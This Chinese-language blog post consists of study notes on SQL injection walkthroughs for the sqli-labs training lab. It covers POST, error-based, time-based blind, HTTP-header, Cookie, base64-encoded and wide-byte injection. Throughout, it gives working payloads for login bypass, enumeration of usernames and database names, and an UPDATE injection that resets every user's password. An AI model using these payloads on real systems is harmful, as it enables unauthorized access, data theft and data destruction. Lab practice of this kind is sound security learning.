★SQL注入漏洞(6)(8)POST注入 堆叠查询注入

 POST注入只是传参方式上有所区别。方法上都是和GET类似的
1.POST注入下的union select注入方法
例题:sqli-labs中的T12
猜测源码:
//post传入的两个参数名可以网页源代码查看 抓包也可以看到
$u=$_POST['uname'];
$p=$_POST['passwd'];
select username,password from table1 where username='$u' and password='$p' limit 0,1;
输入尝试 报错后获取闭合是("")
所以网页的匹配源码大概率是:
select username,password from table1 where username=("") and password=("") limit 0,1;
输入 ")#
--->   select username,password from table1 where username=("") # and password=("") limit 0,1;
输入 ") or 1=1 #
--->   select username,password from table1 where username=(" ") or 1=1 # ") and password=("") limit 0,1;   //万能密码
select username,password from table1 where username=(" ") or 1=1 limit 0,1 # ") and password=("") limit 0,1;
select username,password from table1 where username=(" ") or 1=1 limit 1,1 # ") and password=("") limit 0,1;
select username,password from table1 where username=(" ") order by 2 # ") and password=("") limit 0,1;  
select username,password from table1 where username=(" ") union select 1,2 # ") and password=("") limit 0,1;  
2.POST注入下的报错函数注入和盲注
sqli-labs例题T14(T13和这个类似) POST方式报错注入  报错发现闭合方式是双引号
" and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
" and extractvalue(1,concat(0x7e,(select database()),0x7e)) and "1"="1
第二条语句模拟替换可以得到:
select username,password from table1 where username=" " and extractvalue(1,concat(0x7e,(select database()),0x7e)) and "1"="1" and password="" limit 0,1;
//此时username=""  这个查询不到就会报错 所以就会执行后面的报错语句 extractvalue 报错注入核心就是要让其报错
可以借助and "1"="1  实现闭合
这种情况一般用于处理防火墙对于一些注释符号的屏蔽过滤
sqli-labs中T16(T15和这个类似)POST型 盲注注入
1.猜测闭合方式  发现闭合方式是双引号加括号
PS解释:如果前面闭合都是错误的 那么整个语句都没有意义,乱码而已 自然不会成功 如果前面闭合猜对了 然后username=""为空 此时or前面为假 则才会执行or后面的内容
' or 1=1 #
') or 1=1 #
" or 1=1 #
") or 1=1 #
2.构造payload语句  (万能密码)
") or ("1")=("1
3.用户名和密码都写这个payload后执行成功 完成闭合  //username="" 左边是错 由于是or 右边是对的 密码也是这样 所以这个也是万能密码的玩法
select username,password from table1 where username=("") and password=("") limit 0,1;
select username,password from table1 where username=("") or ("1")=("1 ") and password=(" ") or ("1")=("1") limit 0,1;
拓展思路1:穷举用户名
") or sleep(5) #
") and sleep(5) #
admin") and sleep(5) #     //可以用这个方式写个脚本去穷举其用户名
select username,password from table1 where username=(" admin") and sleep(5) #") and password=("") limit 0,1;
adminxxx") and sleep(5) #    //不执行sleep 说明不存在这个用户
拓展思路2:用户穷举数据库的库名
admin") and if(ascii(substr(database(),1,1))=115,sleep(10),null) #
admin") and (select database()='security') #
") or if(ascii(substr(database(),1,1))=115,sleep(10),null) #   //如果左边不知道的情况可以通过这种方式执行测试 也可以去实现判断
3.POST注入的特殊应用场景: 密码重置 (更新密码)
例题:sqli-labs中的T17(危害性很大!修改数据这个过程很危险 不利于黑客的踪迹隐藏 这种对别人本身数据有修改的漏洞少做)
猜测更新密码(改)中的可能sql语句:
update users set password='$p' where username='$u';
admin
' or 1=1 #
-->update users set password='' or 1=1 #' where username='admin';  //密码被全部修改成了1
4.POST注入下的HTTP头注入(User-Agent浏览器信息/Referer来路信息) (大多数情况下不能用注释符)
例题:sqli-labs的T18 (思想类似T19) 包的http的头信息会被网页获取
网站会记录User-Agent 说明网站一定在搜集个人信息 一定记录到了数据库 只要和数据库有沟通 就可能存在注入
//增(猜测程序员写的数据库语法)
insert into 'security'.'某个表' ('浏览器信息','ip地址信息','用户名') values('浏览器信息','127.0.0.1','admin');
//接下来考虑可能的闭合 insert语句一般没有括号 都是只有单引号或者双引号或者没有
//数据库存储ip地址已经修复的很好的 很难有什么漏洞了 所以重点在浏览器和用户信息等
1.输入 \
-->insert into 'security'.'某个表' ('浏览器信息','ip地址信息','用户名') values('\','127.0.0.1','admin');
2.根据报错信息判断原数据库的闭合是单引号
3.  ' and '1'='1
--->insert into 'security'.'某个表' ('浏览器信息','ip地址信息','用户名') values('' and '1'='1','127.0.0.1','admin');
payload-->   ' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
------values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','127.0.0.1','admin');
http 头注入
user-agent = 浏览器信息
会记录用户数据到数据库
insert into 'security'.'uagents'('uagent','ip_address','username') values('浏览器信息','127.0.0.1','admin');
insert into 'security'.'uagents'('uagent','ip_address','username') values(' ' or '1'='1   ','127.0.0.1','admin');
' ' or '1'='1    '  
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1
insert into 'security'.'uagents'('uagent','ip_address','username') values(' ' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1    ','127.0.0.1','admin');
referer = 来路信息(从哪个网站过来的)
cookie 可能导致平行越权
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
5.POST注入下的Cookie注入
例题:sqli-labs中的T19  网站搜集的是用户的Referer信息(来路)   说明这部分内容也会和数据库产生交互 从而有可能存在注入
修改burp抓到的包的Referer部分 输入  \  测试发现会出现数据库语法报错 说明存在交互 测试发现也是单引号闭合
同理payload--->   ' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
例题: sqli-labs中的T20 Cookie注入 (一个用户冒充另一个用户登录: 平行/横向越权漏洞 )(Cookie容易导致平行越权)
1.登录普通的用户的账号 账号:dumb 密码:dumb
2.burp抓包 修改Cookie部分 uname=\;   ---->数据库报错  单引号闭合
3.uname=admin' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #;
例题: sqli-labs中的T21  不同点:uname= 后面的部分经过了base64加密(所有的内容都base64加密以后再提交即可)
1.burp抓包后在uname= 后面输入 / 反斜杠,然后选中后进行base64加密
2.根据Mysql报错信息得到此题的闭合方式是 (' ')
3. payload---->   admin') and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
将payload进行base64加密 得到如下payload:
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkgIw==
--->  uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkgIw==
Sqli-labs T22  Cookie注入 每次都进行base64编码再提交即可
admin\  base64编码再传  双引号闭合
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e)) #  整体进行base64编码再提交即可
6.POST注入下的宽字节注入
例题:sqli-labs中的T34 POST表单形式的宽字节注入
先用burp抓一个包尝试 发送到重放模块
发现提交单引号的尝试会被加反斜杠从而被屏蔽掉
不同:get型的%df会被url编码  而post型直接输入进行
post型直接在界面上的框中提交,不会被转成中文  但是抓包在包中改就可以实现
POST情况下的宽字节注入,需要直接在burp抓到的post数据包中修改
因为前端提交的时候和直接在包中修改,前端的不会变成中文
前端提交的时候 浏览器会把能编码的东西先编码再提交过去 所以很多时候会出问题 所以在burp中提交的才是最纯正的
修复:使用unicode编码即可防御这个漏洞了
uname=123%df%27 or 1 #&passwd=2&submit=Submit
admin%df' or 1=1 #
adn%df' union select 1,2 #
uname=admin%df' union select group_concat(table_name),2 from information_schema.tables where table_schema="security" #&passwd=admin&submit=Submit    //双引号部分 要么反引号尝试 要么换表达比如database()  或者进行Hex编码
security的Hex编码是:  0x7365637572697479
uname=admin%df' union select group_concat(table_name),2 from information_schema.tables where table_schema=0x7365637572697479 #&passwd=admin&submit=Submit
有待尝试方法2:utf-8 -->>utf-16
post注入
猜测源码
$u = $_POST['uname'];
$p = $_POST['passwd'];
select username,password from table1 where username=("$u") and password=("$p") limit 0,1;
select username,password from table1 where username=("\") and password=("") limit 0,1;
判断为单引号闭合
\' and password='' LIMIT 0,1
select username,password from table1 where username=' ' or 1=1 limit 1,1 #   ' and password='$p' limit 0,1;
select username,password from table1 where username=' admin' and 1=1 #
select username,password from table1 where username=' ' union select 1,2 #   ' and password='$p' limit 0,1;
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
POST盲注
判断闭合方式
") or 1=1 #
用户名和密码都写
") or ("1")=("1
select username,password from table1 where username=("") or ("1")=("1") and password=("") or ("1")=("1") limit 0,1;
布尔型盲注用and最好先猜出他们网站有什么用户名,以一个正确的用户名来当参照
admin") and (select database()='security') #
例题 sqli-labs T15
admin' #
admin' and (select ascii(substr(database(),1,1)) > 100) #
admin' and (select database()='security') #
xxx' or (select database()='security') #   //用or就不强制要求账号正确
PS:如果注释符被防火墙过滤掉了 可以不用注释 直接把后方注释补全就行 一样的
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值